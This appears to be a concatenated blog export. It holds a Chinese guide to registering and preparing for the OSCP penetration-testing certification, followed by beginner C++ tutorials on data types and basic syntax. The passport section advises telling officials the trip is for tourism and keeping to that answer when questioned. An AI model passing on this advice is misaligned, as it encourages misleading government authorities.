CISP、CWAPT、CPT 和 PET，虽然也涵盖渗透测试的技能，但它们通常在认证内容上更贴合中国的网络安全需求，注重国家标准和法规。部分国内认证的考试难度相对较低，更适合入门级或中级人员。 怎么报名 如何报名参加 OSCP（Offensive Security Certified Professional）认证 OSCP 是由 Offensive Security 提供的全球公认的渗透测试认证，报名流程相对简单，但需要经过一系列步骤。以下是报名 OSCP 认证的详细过程：\n1. 准备工作 在报名之前，你需要具备一定的技术基础，特别是在渗透测试和网络安全方面。Offensive Security 官方建议，参与 OSCP 考试之前，考生应当具备以下技能：\n熟练掌握 Kali Linux 系统（至少要自己会装个虚拟机） 熟悉 网络协议、TCP/IP、HTTP 等基础知识 掌握 漏洞扫描、漏洞利用、Web 渗透测试、密码破解 等技术（大学生CTF赛事有相关培训，建议先学习CTF部分的知识入门后再考虑考证） 2. 选择培训课程（可选） 虽然可以直接报名参加 OSCP 认证考试，但很多考生会选择参加 PWK（Penetration Testing with Kali Linux） 课程，这是 OSCP 官方提供的认证配套培训课程。通过参加该课程，学员可以系统地学习渗透测试的技术和方法，涵盖了从基础到高级的各种渗透测试技术。\n培训网站：Offensive Security Training 课程包括视频教程、实践环境、工具使用指导等内容。 课程费用通常为 800-1000 美元（具体费用请参考官网）。 参加 PWK 课程后，学员可以获得 90 天 的实验室环境访问权限，并且可以进行实践操作。\n3. 注册并创建帐户 访问 Offensive Security 官方网站：https://www.offensive-security.com 点击页面顶部的 \u0026ldquo;Get Started\u0026rdquo; 或 \u0026ldquo;Training\u0026rdquo;，然后选择 OSCP 或 PWK 课程。 创建一个账号，输入基本的个人信息和联系方式。 注意，创建账号不需要护照，可以先注册账户，但是不要付款买90天课程，因为90天你自己绝对刷不完官方靶机，先跟着泷羽Sec的课程，先学习，刷免费练习靶机，都刷完之后再去买官方课程和靶机练习，然后考试。 4. 选择考试套餐 OSCP 提供了两种主要的报名套餐：\n基础套餐（Basic）：包括 PWK 培训课程和 30 天实验室环境访问。 标准套餐（Standard）：包括 PWK 课程、90 天实验室环境访问以及认证考试。 在选择套餐时，如果你已经有一定渗透测试经验，可以选择基础套餐；如果你需要更多的实验室时间来提高实践技能，建议选择标准套餐。\n注意，这个价格按照成文当日汇率约为1万2左右，请不要先行购买付款，可以注册，但是不要付款。因为付款后只有90天的使用时长，纯小白90天学不会的。建议先跟着泷羽Sec的课程，先学习，刷免费练习靶机，都刷完之后再去买官方课程和靶机练习，然后考试。\n注意3年有效期意思为，刚考完试的时候是OSCP+，有+号，3年后如果不维持（交钱），自动降级为OSCP，没有加号。OSCP（没有加号），是终生永久的，不用年年交钱，也不用年年考试。OSCP的认证（没有加号）目前来说含金量已经非常够了，红队招聘基本可以横着走了（bushi）。至于以后是否维持+号，自行看钱包决定，目前国内没有区分+号和没有+号在招聘上的限制。\n5. 付款并完成报名 选择合适的课程套餐后，按照提示完成 付款。一般来说，PWK 课程和 OSCP 认证费用相对较高，具体价格根据所选套餐和实验室时长不同，通常在 800 至 1400 美元之间。 支付完成后，你将获得 登录凭证 和 实验室环境访问权限，可以开始进行课程学习和练习。 6. 参加考试 在完成 PWK 课程学习后，你可以通过官网 预约考试。OSCP 的考试形式为：\n24小时渗透测试实战：考生需要在 24 小时内完成渗透测试任务，达到一定的分数后提交报告。 考生需要根据给定的目标网络环境，通过渗透测试，获取管理员权限并提交报告。 完成考试后，需要提交详细的 渗透测试报告，报告内容需包括漏洞分析、攻击步骤、缓解措施等。 考试通过标准：\n必须获得至少 70% 的分数（即 1000 分中的 700 分）才能通过考试。 提交考试报告后，Offensive Security 会对你的测试过程和结果进行评估。 7. 获取证书 如果通过考试，你将收到 OSCP 证书，这是一项国际认可的渗透测试认证，能够显著提升你在网络安全领域的职业竞争力。（拿证需要护照，护照申请方法在后面） https://www.offsec.com/checkout/ offsec全套认证列表，以后进阶红高可能要OSEP。不过也是先考了OSCP再说.\n小贴士： 准备工作：OSCP 的考试有一定难度，建议考生在报名之前进行充分的学习和实践，熟悉常用的渗透测试工具（如 Metasploit、Nmap、Burp Suite 等）。注意，官方考试时 Metasploit 只允许用一次，需要向考官申请；Burp Suite 只能用社区版，不能用带 Pro的版本。\n实验室环境：PWK 课程提供的实验室环境是非常重要的，充分利用它来进行各类渗透测试练习。\n报告撰写：OSCP 考试不仅仅是完成渗透测试，还需要提交一份详尽的报告。报告写作同样是考试的一部分，清晰、有条理的报告能够帮助你提高分数。\n单独考试:Offsec官方有单独OSCP+仅考试的选项,1699美元,综合下载还是1799美元套餐(考试+课程+90天靶机环境)比较划算.\n办理护照 前往 公安局 或 政务中心办事大厅 找民警办理，携带身份证 即可。到办事处时，说 “办理护照，美国”，出国理由直接回答 “旅游”。即使民警再次询问确认目的是否是出国旅游（只是办事流程再次确认的环节），也必须回答是，不要提学习或考试，否则材料会更复杂。办理的为 普通护照，同样适用于OSCP考试等其他用途。\n办理流程： 登记基本信息：携带身份证进行登记。 询问目的地：只需回答目的地为 美国，理由为 旅游。 拍摄护照照片：拍照时请穿深色衣服，避免佩戴头饰、眼镜，确保耳朵露出，不要化妆，基本要求与身份证照相同。 缴纳费用：缴纳工本费 120元，并提交相关材料。你可以选择 免费邮寄到家 或 到大厅领取，不需要支付额外的邮费。 普通护照有效期为 10年，整个办理过程大约需 15分钟，一般在 7个工作日 内可以领取护照，会通过电话或短信通知你。\n办理 PayPal 支付 在中国，办理 PayPal 账户并非直接通过银行进行，而是通过 PayPal 官方网站或移动应用注册并完成身份验证。然而，如果你希望通过中国的银行进行一些与 PayPal 相关的操作（如绑定银行账户、进行提现等），你可以按照以下步骤进行：\n1. 注册 PayPal 账户 步骤：\n访问 PayPal官网 或下载 PayPal 移动应用。 点击“注册”按钮，选择个人账户或商家账户（通常个人用户选择个人账户）。 填写个人信息（如姓名、电子邮件地址、密码等）。 选择中国大陆为账户所在地区。 注意：在中国，PayPal 账户注册时需要绑定有效的电子邮件地址和手机号码(电信可用)，确保账户安全。\n2. 绑定银行账户 选择合适的银行：PayPal 支持中国大陆的大部分银行账户，通常可以绑定 工商银行、建设银行、农业银行、招商银行等主流银行的借记卡或信用卡。\n步骤：\n登录到 PayPal 账户后，进入“钱包”页面。 点击“关联银行账户或卡片”。 输入你的银行账户信息，通常是银行卡号、卡类型、银行名称等。 PayPal 会进行验证并要求你输入银行账户的验证码（通过短信发送或通过网银进行验证）。 注意：你绑定的银行卡必须支持国际支付（如 Visa、Mastercard 等卡种）。中国的部分银行可能会限制外币支付，所以确保你的银行卡可以进行国际交易。(普通借记卡不行,必须要新办一张支持Paypal支付的卡,详细询问银行员工)\n3. 完成身份认证 为了增强账户安全并完成某些交易，PayPal 可能会要求你进行身份认证。通常包括：\n提供身份证照片或其他身份证明。 提供银行账户的验证信息。 确保你的 PayPal 账户与银行账户的信息一致。 备注：完成身份认证后，你将可以进行更多的操作，如接收国际付款、进行汇款等。\n4. 进行 PayPal 交易和提现 接收付款：完成账户和银行绑定后，你可以通过 PayPal 收取来自全球用户的款项。 提现到银行：当你需要将 PayPal 账户中的余额提现到银行账户时，选择“提现”选项，输入银行账户信息并确认提现操作。 5. 通过支付宝账户充值或付款（可选） 在某些情况下，你也可以通过 支付宝 向 PayPal 账户充值或进行支付。这需要第三方平台进行中介操作，步骤比较复杂。 6. 费用和汇率 在中国进行 PayPal 交易时，PayPal 会收取一定的手续费，具体费率可以参考 PayPal的费用说明页面。 汇率问题：PayPal 会根据国际市场汇率进行货币转换，可能会有一些汇率差异。 因为考试费用的金额太大，所以建议你使用自己的卡办自己的Paypal，能保证资金安全．不建议使用发卡平台等魔法工具转账．\n如何高效备考 OSCP？——从基础到考试的一站式攻略 OSCP（Offensive Security Certified Professional）是网络安全领域最具挑战性的认证之一，要顺利通过考试，除了理论学习，还需要大量的实战练习。以下是高效备考的建议，希望你能充分准备并顺利通过。\n1. 打好基础，系统学习 在正式进入 OSCP 的备考之前，建议从基础学习开始，夯实渗透测试的核心知识。你可以通过关注 泷羽Sec 提供的课程，结合 免费靶机练习，逐步提升实战能力。 基础靶机练习完成后，考虑购买 Offensive Security 提供的官方课程和靶机，进一步深入，进行更为高级的练习。 2. 深入学习路径 直播课程+官方教材：配合 Offensive Security 的官方 PWK 24 章节教程和直播课程，确保对渗透测试各项技能掌握扎实。这是基础，也是整个学习路径的支撑。 实战靶机刷题：首先可以挑战 Top 10 基础靶机，巩固渗透测试的基础技能，接着刷 100 平替靶机，为中级挑战做准备。 进阶靶机训练：逐步过渡到更复杂的环境——刷官方的 进阶 PG 靶场，这将帮助你熟悉 OSCP 考试中的高级渗透技巧和策略。 官方 PG 靶场链接 3. 报名官方靶场，进行实战模拟 训练到一定阶段，建议报名 OSCP 90 天实验室靶场（OSCPLab），这是官方提供的封闭式练习环境，可以帮助你进行全面的攻防训练，模拟真实考试的场景。 提前报名并完成足够的练习，是确保考试顺利通过的关键。 4. 临考准备，冲刺复习 在积累了一定的实战经验后，准备进入最后的考试复习阶段。回顾你做过的靶机，强化弱项，确保自己能够应对 OSCP 考试中的各种挑战。 小贴士：关注学习资源，持续跟进最新动态 为了让你在备考过程中少走弯路，不妨关注 泷羽Sec-静安公众号，这里会定期更新 OSCP 相关学习文章，从渗透测试技巧到备考经验，帮助你更高效地掌握核心内容。 或在 CSDN 泷羽Sec-静安 的 OSCP 栏目查阅更多实战经验和技巧，时刻保持更新，走在行业的前沿。\n👉 长按或扫描二维码关注公众号，后台回复关键字　OSCP　获取免费备考资料．\n备考路线总结： 学习基础课程，理解核心知识（直播、官方教程、基础靶机） 深入练习，刷中高级靶机（100 平替靶机、官方进阶 PG 靶场） 加入官方 90 天靶场，进行实战模拟 冲刺复习，确保各项技能熟练 最终考试，挑战自己，突破极限 通过这些层层递进的学习和练习，你的 OSCP 之路将更加顺利。希望你早日获得认证，成为渗透测试领域的专业人士！\n","date":"2025-01-15T16:13:45Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day1-%E4%BB%80%E4%B9%88%E6%98%AFoscp-%E6%80%8E%E4%B9%88%E6%8A%A5%E5%90%8D%E5%92%8C%E5%A6%82%E4%BD%95%E5%87%86%E5%A4%87/","title":"Day1 什么是OSCP，怎么报名和如何准备"},{"content":"基本的内置类型 C++ 为程序员提供了种类丰富的内置数据类型和用户自定义的数据类型。下表列出了七种基本的 C++ 数据类型：\n类型 关键字 布尔型 bool 字符型 char 整型 int 浮点型 float 双浮点型 double 无类型 void 宽字符型 wchar_t 类型 描述 bool 布尔类型，存储值 true 或 false，占用 1 个字节。 char 字符类型，用于存储 ASCII 字符，通常占用 1 个字节。 int 整数类型，通常用于存储普通整数，通常占用 4 个字节。 float 单精度浮点值，用于存储单精度浮点数。单精度是这样的格式，1 位符号，8 位指数，23 位小数，通常占用4个字节。 double 双精度浮点值，用于存储双精度浮点数。双精度是 1 位符号，11 位指数，52 位小数，通常占用 8 个字节。 void 表示类型的缺失。 wchar_t 宽字符类型，用于存储更大范围的字符，通常占用 2 个或 4 个字节。 下表显示了各种变量类型在内存中存储值时需要占用的内存，以及该类\n型的变量所能存储的最大值和最小值。\n**注意：**不同系统会有所差异，一字节为 8 位。\n**注意：**默认情况下，int、short、long都是带符号的，即 signed。\n**注意：**long int 8 个字节，int 都是 4 个字节，早期的 C 编译器定义了 long int 占用 4 个字节，int 占用 2 个字节，新版的 C/C++ 标准兼容了早期的这一设定。\n类型 位 范围 char 1 个字节 -128 到 127 或者 0 到 255 unsigned char 1 个字节 0 到 255 signed char 1 个字节 -128 到 127 int 4 个字节 -2147483648 到 2147483647 unsigned int 4 个字节 0 到 4294967295 signed int 4 个字节 -2147483648 到 2147483647 short int 2 个字节 -32768 到 32767 unsigned short int 2 个字节 0 到 65,535 signed short int 2 个字节 -32768 到 32767 long int 8 个字节 -9,223,372,036,854,775,808 到 9,223,372,036,854,775,807 signed long int 8 个字节 -9,223,372,036,854,775,808 到 9,223,372,036,854,775,807 unsigned long int 8 个字节 0 到 18,446,744,073,709,551,615 float 4 个字节 精度型占4个字节（32位）内存空间，+/- 3.4e +/- 38 (~7 个数字) double 8 个字节 双精度型占8 个字节（64位）内存空间，+/- 1.7e +/- 308 (~15 个数字) long long 8 个字节 双精度型占8 个字节（64位）内存空间，表示 -9,223,372,036,854,775,807 到 9,223,372,036,854,775,807 的范围 long double 16 个字节 长双精度型 16 个字节（128位）内存空间，可提供18-19位有效数字。 wchar_t 2 或 4 个字节 1 个宽字符 sizeof 用法 1#include\u0026lt;iostream\u0026gt; 2#include \u0026lt;limits\u0026gt; 3 4using namespace std; 5 6int main() 7{ 8 cout \u0026lt;\u0026lt; \u0026#34;type: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;************size**************\u0026#34;\u0026lt;\u0026lt; endl; 9 cout \u0026lt;\u0026lt; \u0026#34;bool: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(bool); 10 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;bool\u0026gt;::max)(); 11 cout \u0026lt;\u0026lt; \u0026#34;\\t\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;bool\u0026gt;::min)() \u0026lt;\u0026lt; endl; 12 cout \u0026lt;\u0026lt; \u0026#34;char: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(char); 13 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;char\u0026gt;::max)(); 14 cout \u0026lt;\u0026lt; \u0026#34;\\t\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;char\u0026gt;::min)() \u0026lt;\u0026lt; endl; 15 cout \u0026lt;\u0026lt; \u0026#34;signed char: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(signed char); 16 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;signed char\u0026gt;::max)(); 17 cout \u0026lt;\u0026lt; \u0026#34;\\t\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;signed char\u0026gt;::min)() \u0026lt;\u0026lt; endl; 18 cout \u0026lt;\u0026lt; \u0026#34;unsigned char: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(unsigned char); 19 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;unsigned char\u0026gt;::max)(); 20 cout \u0026lt;\u0026lt; \u0026#34;\\t\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;unsigned char\u0026gt;::min)() \u0026lt;\u0026lt; endl; 21 cout \u0026lt;\u0026lt; \u0026#34;wchar_t: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(wchar_t); 22 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;wchar_t\u0026gt;::max)(); 23 cout \u0026lt;\u0026lt; \u0026#34;\\t\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;wchar_t\u0026gt;::min)() \u0026lt;\u0026lt; endl; 24 cout \u0026lt;\u0026lt; \u0026#34;short: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(short); 25 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;short\u0026gt;::max)(); 26 cout \u0026lt;\u0026lt; \u0026#34;\\t\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;short\u0026gt;::min)() \u0026lt;\u0026lt; endl; 27 cout \u0026lt;\u0026lt; \u0026#34;int: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(int); 28 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;int\u0026gt;::max)(); 29 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;int\u0026gt;::min)() \u0026lt;\u0026lt; endl; 30 cout \u0026lt;\u0026lt; \u0026#34;unsigned: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(unsigned); 31 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;unsigned\u0026gt;::max)(); 32 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;unsigned\u0026gt;::min)() \u0026lt;\u0026lt; endl; 33 cout \u0026lt;\u0026lt; \u0026#34;long: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(long); 34 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;long\u0026gt;::max)(); 35 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;long\u0026gt;::min)() \u0026lt;\u0026lt; endl; 36 cout \u0026lt;\u0026lt; \u0026#34;unsigned long: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(unsigned long); 37 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;unsigned long\u0026gt;::max)(); 38 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;unsigned long\u0026gt;::min)() \u0026lt;\u0026lt; endl; 39 cout \u0026lt;\u0026lt; \u0026#34;double: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(double); 40 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;double\u0026gt;::max)(); 41 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;double\u0026gt;::min)() \u0026lt;\u0026lt; endl; 42 cout \u0026lt;\u0026lt; \u0026#34;long double: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(long double); 43 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;long double\u0026gt;::max)(); 44 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;long double\u0026gt;::min)() \u0026lt;\u0026lt; endl; 45 cout \u0026lt;\u0026lt; \u0026#34;float: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(float); 46 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;float\u0026gt;::max)(); 47 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;float\u0026gt;::min)() \u0026lt;\u0026lt; endl; 48 cout \u0026lt;\u0026lt; \u0026#34;size_t: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(size_t); 49 cout \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;size_t\u0026gt;::max)(); 50 cout \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;size_t\u0026gt;::min)() \u0026lt;\u0026lt; endl; 51 cout \u0026lt;\u0026lt; \u0026#34;string: \\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;所占字节数：\u0026#34; \u0026lt;\u0026lt; sizeof(string) \u0026lt;\u0026lt; endl; 52 // \u0026lt;\u0026lt; \u0026#34;\\t最大值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;string\u0026gt;::max)() \u0026lt;\u0026lt; \u0026#34;\\t最小值：\u0026#34; \u0026lt;\u0026lt; (numeric_limits\u0026lt;string\u0026gt;::min)() \u0026lt;\u0026lt; endl; 53 cout \u0026lt;\u0026lt; \u0026#34;type: \\t\\t\u0026#34; \u0026lt;\u0026lt; \u0026#34;************size**************\u0026#34;\u0026lt;\u0026lt; endl; 54 return 0; 55} typedef 声明 您可以使用 typedef 为一个已有的类型取一个新的名字。下面是使用 typedef 定义一个新类型的语法：\ntypedef type newname; 派生数据类型 数据类型 描述 示例 数组 相同类型元素的集合 int arr[5] = {1, 2, 3, 4, 5}; 指针 存储变量内存地址的类型 int* ptr = \u0026amp;x; 引用 变量的别名 int\u0026amp; ref = x; 函数 函数类型，表示函数的签名 int func(int a, int b); 结构体 用户定义的数据类型，可以包含多个不同类型的成员 struct Point { int x; int y; }; 类 用户定义的数据类型，支持封装、继承和多态 class MyClass { ... }; 联合体 多个成员共享同一块内存 union Data { int i; float f; }; 枚举 用户定义的整数常量集合 enum Color { RED, GREEN, BLUE }; 类型别名 别名 描述 示例 typedef 为现有类型定义别名 typedef int MyInt; using 为现有类型定义别名（C++11 引入） using MyInt = int; 标准库类型 数据类型 描述 示例 std::string 字符串类型 std::string s = \u0026quot;Hello\u0026quot;; std::vector 动态数组 std::vector\u0026lt;int\u0026gt; v = {1, 2, 3}; std::array 固定大小数组（C++11 引入） std::array\u0026lt;int, 3\u0026gt; a = {1, 2, 3}; std::pair 存储两个值的容器 std::pair\u0026lt;int, float\u0026gt; p(1, 2.0); std::map 键值对容器 std::map\u0026lt;int, std::string\u0026gt; m; std::set 唯一值集合 std::set\u0026lt;int\u0026gt; s = {1, 2, 3}; 常见创建变量错误 写值时的单双引号 一个字符变量想写多个字符的方法 转义字符 转义序列 含义 \\\\ \\ 字符 \\' \u0026rsquo; 字符 \\\u0026quot; \u0026quot; 字符 \\? ? 字符 \\a 警报铃声 \\b 退格键 \\f 换页符 \\n 换行符 \\r 回车 \\t 水平制表符 占8个位置 \\v 垂直制表符 \\ooo 一到三位的八进制数 \\xhh . . . 一个或多个数字的十六进制数 \\t水平制表符的对齐效果 \\v垂直制表符对齐效果 字符串型 C风格型字符串： char charname[] = \u0026quot;ABCDEF\u0026quot;，注意是双引号。 C++风格字符串：string strname = \u0026quot;ABCDEF\u0026quot;，注意是双引号。头文件要包含#include \u0026lt;string\u0026gt; 1#include\u0026lt;iostream\u0026gt; 2#include \u0026lt;limits\u0026gt; 3#include \u0026lt;string\u0026gt; 4 5using namespace std; 6 7int main() 8{ 9\tchar ch1[] = \u0026#34;Hello World\u0026#34;; // C-style string 10\tstring str1 = \u0026#34;Hello C++\u0026#34;; // C++ string 11\tcout \u0026lt;\u0026lt; ch1 \u0026lt;\u0026lt; endl; 12\tcout \u0026lt;\u0026lt; str1 \u0026lt;\u0026lt; endl; 13 return 0; 14} 布尔类型 bool：表示布尔类型，只有 true（1） 和 false（0） 两个值。\n1#include\u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5int main() 6{ 7\tbool flag = true; 8\tcout \u0026lt;\u0026lt; flag \u0026lt;\u0026lt; endl; 9\tflag = 0; 10\tcout \u0026lt;\u0026lt; flag \u0026lt;\u0026lt; endl; 11\tcout \u0026lt;\u0026lt; sizeof(flag) \u0026lt;\u0026lt; endl; 12} 数据输入 从键盘获取输入： cin \u0026gt;\u0026gt; 变量\n1#include\u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5int main() 6{ 7\tint a = 10; //int是C++中的整型 8\tcout \u0026lt;\u0026lt; \u0026#34;a的值为\u0026#34; \u0026lt;\u0026lt; a \u0026lt;\u0026lt; endl; 9\tcout \u0026lt;\u0026lt; \u0026#34;输入a的新值\u0026#34; \u0026lt;\u0026lt; endl; 10\tcin \u0026gt;\u0026gt; a; 11\tcout \u0026lt;\u0026lt; \u0026#34;a的新值为\u0026#34; \u0026lt;\u0026lt; a \u0026lt;\u0026lt; endl; 12 13\tfloat b = 10.5; //float是C++中的浮点类型 14\tcout \u0026lt;\u0026lt; \u0026#34;b的值为\u0026#34; \u0026lt;\u0026lt; b \u0026lt;\u0026lt; endl; 15\tcout \u0026lt;\u0026lt; \u0026#34;输入b的新值\u0026#34; \u0026lt;\u0026lt; endl; 16\tcin \u0026gt;\u0026gt; b; 17\tcout \u0026lt;\u0026lt; \u0026#34;b的新值为\u0026#34; \u0026lt;\u0026lt; b \u0026lt;\u0026lt; endl; 18 19\tchar c = \u0026#39;a\u0026#39;; //char是C++中的字符类型 20\tcout \u0026lt;\u0026lt; \u0026#34;c的值为\u0026#34; \u0026lt;\u0026lt; c \u0026lt;\u0026lt; endl; 21\tcout \u0026lt;\u0026lt; \u0026#34;输入c的新值\u0026#34; \u0026lt;\u0026lt; endl; 22\tcin \u0026gt;\u0026gt; c; 23\tcout \u0026lt;\u0026lt; \u0026#34;c的新值为\u0026#34; \u0026lt;\u0026lt; c \u0026lt;\u0026lt; endl; 24 25\tbool d = true; //bool是C++中的布尔类型 26\tcout \u0026lt;\u0026lt; \u0026#34;d的值为\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 27\tcout \u0026lt;\u0026lt; \u0026#34;输入d的新值\u0026#34; \u0026lt;\u0026lt; endl; 28\tcin \u0026gt;\u0026gt; d; //只要非0都是真 29\tcout \u0026lt;\u0026lt; \u0026#34;d的新值为\u0026#34; \u0026lt;\u0026lt; d \u0026lt;\u0026lt; endl; 30 31\tstring e = \u0026#34;Hello World\u0026#34;; //string是C++中的字符串类型 32\tcout \u0026lt;\u0026lt; \u0026#34;e的值为\u0026#34; \u0026lt;\u0026lt; e \u0026lt;\u0026lt; endl; 33\tcout \u0026lt;\u0026lt; \u0026#34;输入e的新值\u0026#34; \u0026lt;\u0026lt; endl; 34\tcin \u0026gt;\u0026gt; e; 35\tcout \u0026lt;\u0026lt; \u0026#34;e的新值为\u0026#34; \u0026lt;\u0026lt; e \u0026lt;\u0026lt; endl; 36 37\treturn 0; 38 39} 🔔 想要获取更多网络安全与编程技术干货？ 关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-01-07T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250114110035983.png","permalink":"/post/02x%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B8-15/","title":"02x数据类型8-15"},{"content":"Hello World cout 输出 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 cout \u0026lt;\u0026lt; \u0026#34;Hello World\u0026#34;; 6 return 0; 7} 注释 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3/* 4* 多行 5* 注释 6* 都不执行 7*/ 8int main() { 9 cout \u0026lt;\u0026lt; \u0026#34;Hello World\u0026#34;; 10 // 单行注释 11 return 0; 12} 变量 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3/* 4* 多行 5* 注释 6* 都不执行 7*/ 8int main() { 9 int a = 10; 10 char16_t b = u\u0026#39;C\u0026#39;; // 修复了变量声明和初始化的问题 11\tcout \u0026lt;\u0026lt; \u0026#34;Hello World \\n\u0026#34;; // 输出 Hello World,并换行 12\tcout \u0026lt;\u0026lt; \u0026#34;a = \u0026#34; \u0026lt;\u0026lt; a \u0026lt;\u0026lt; endl; // 输出 a = 10，并换行 13\tcout \u0026lt;\u0026lt; \u0026#34;b is \u0026#34; \u0026lt;\u0026lt; b \u0026lt;\u0026lt; endl; // 输出 b is C，并换行 14 // 单行注释 15 return 0; 16} 常量 1#define PI 3.14159 // 定义常量 2 3int main() { 4\tconst int a = 10; // 定义常量 5\tPI = 3.14; // 错误，常量不可修改 6\tcout \u0026lt;\u0026lt; \u0026#34;Hello World \\n\u0026#34;; // 输出 Hello World,并换行 7\tcout \u0026lt;\u0026lt; \u0026#34;Hello World \\n\u0026#34;; // 输出 Hello World,并换行 8\tcout \u0026lt;\u0026lt; \u0026#34;a = \u0026#34; \u0026lt;\u0026lt; a \u0026lt;\u0026lt; endl; // 输出 a = 10，并换行 9\tcout \u0026lt;\u0026lt; \u0026#34;PI = \u0026#34; \u0026lt;\u0026lt; PI \u0026lt;\u0026lt; endl; // 输出 PI = 3.14159，并换行 10 // 单行注释 11 return 0; 12} 问题：为什么char类型会变得很奇怪？\n回答：一个字符变量想写多个字符的方法\n标识符命名规则 不能是关键字 由字母、数字、下划线组成 区分大小写 只能是字母或下划线开头 关键字 